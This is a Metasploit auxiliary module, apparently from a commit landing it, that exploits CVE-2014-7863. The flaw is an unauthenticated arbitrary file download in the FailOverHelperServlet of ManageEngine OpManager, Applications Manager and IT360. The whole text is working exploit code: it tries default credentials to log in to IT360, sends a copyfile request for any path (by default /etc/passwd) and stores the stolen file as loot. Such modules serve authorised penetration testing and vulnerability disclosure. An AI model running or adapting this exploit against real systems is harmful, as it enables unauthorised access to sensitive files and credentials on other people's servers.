Land #4758, @pedrib's ManageEngine arbitrary file download module
jvazquez-r7
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41232c0f91
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => "ManageEngine Multiple Products Arbitrary File Download",
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'Description' => %q{
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This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
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on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
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unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
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module will attempt to login using the default credentials for the administrator and
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guest accounts; alternatively you can provide a pre-authenticated cookie or a username
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and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
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8300). This module has been tested on both Windows and Linux with several different
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versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
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a companion module that allows you to list the contents of any directory recursively. This
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vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
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},
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-7863'],
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['OSVDB', '117695'],
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['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_failservlet.txt'],
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['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114']
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],
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'DisclosureDate' => 'Jan 28 2015'))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
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OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
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OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
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OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
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OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
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OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
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], self.class)
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end
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def get_cookie
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cookie = nil
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(datastore['TARGETURI'])
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})
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if res
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cookie = res.get_cookies
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end
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cookie
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end
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def detect_it360
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'GET'
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})
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if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
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return true
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end
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return false
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end
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def get_it360_cookie_name
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/')
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})
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cookie = res.get_cookies
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if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
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return $1
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else
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return nil
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end
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end
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def authenticate_it360(port, path, username, password)
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if datastore['DOMAIN_NAME'].nil?
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vars_post = {
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'LOGIN_ID' => username,
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'PASSWORD' => password,
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'isADEnabled' => 'false'
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}
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else
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vars_post = {
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'LOGIN_ID' => username,
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'PASSWORD' => password,
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'isADEnabled' => 'true',
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'domainName' => datastore['DOMAIN_NAME']
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}
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end
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res = send_request_cgi({
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'rport' => port,
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'method' => 'POST',
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'uri' => normalize_uri(path),
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'vars_get' => {
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'service' => 'OpManager',
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'furl' => '/',
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'timestamp' => Time.now.to_i
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},
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'vars_post' => vars_post
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})
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if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
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# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
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return res.get_cookies
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end
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nil
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end
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def login_it360
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# Do we already have a valid cookie? If yes, just return that.
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unless datastore['IAMAGENTTICKET'].nil?
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cookie_name = get_it360_cookie_name
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cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
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return cookie
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end
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# get the correct path, host and port
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri('/')
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})
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if res && res.redirect?
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uri = [ res.redirection.port, res.redirection.path ]
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else
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return nil
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end
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if datastore['USERNAME'] && datastore['PASSWORD']
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print_status("#{peer} - Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
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cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
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unless cookie.nil?
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return cookie
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end
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end
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default_users = ['guest', 'administrator', 'admin']
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default_users.each do |user|
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print_status("#{peer} - Trying to authenticate as #{user}...")
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cookie = authenticate_it360(uri[0], uri[1], user, user)
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unless cookie.nil?
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return cookie
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end
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end
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nil
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end
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def run
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# No point to continue if filepath is not specified
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if datastore['FILEPATH'].empty?
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print_error('Please supply the path of the file you want to download.')
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return
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end
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if detect_it360
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print_status("#{peer} - Detected IT360, attempting to login...")
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cookie = login_it360
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if cookie.nil?
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print_error("#{peer} - Failed to login to IT360!")
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return
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end
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else
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cookie = get_cookie
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end
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servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
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res = send_request_cgi({
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'method' => 'GET',
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'cookie' => cookie,
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'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
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})
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if res && res.code == 404
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servlet = 'FailOverHelperServlet'
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end
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# Create request
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begin
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print_status("#{peer} - Downloading file #{datastore['FILEPATH']}")
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res = send_request_cgi({
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'method' => 'POST',
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'cookie' => cookie,
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'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
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'vars_get' => {
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'operation' => 'copyfile',
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'fileName' => datastore['FILEPATH']
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}
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})
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rescue Rex::ConnectionRefused
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print_error("#{peer} - Could not connect.")
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return
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end
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# Show data if needed
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if res && res.code == 200
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if res.body.to_s.bytesize == 0
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print_error("#{peer} - 0 bytes returned, file does not exist or is empty.")
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return
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end
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vprint_line(res.body.to_s)
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fname = File.basename(datastore['FILEPATH'])
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path = store_loot(
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'manageengine.http',
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'application/octet-stream',
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datastore['RHOST'],
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res.body,
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fname
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)
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print_good("File saved in: #{path}")
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else
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print_error("#{peer} - Failed to download file.")
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end
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end
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end
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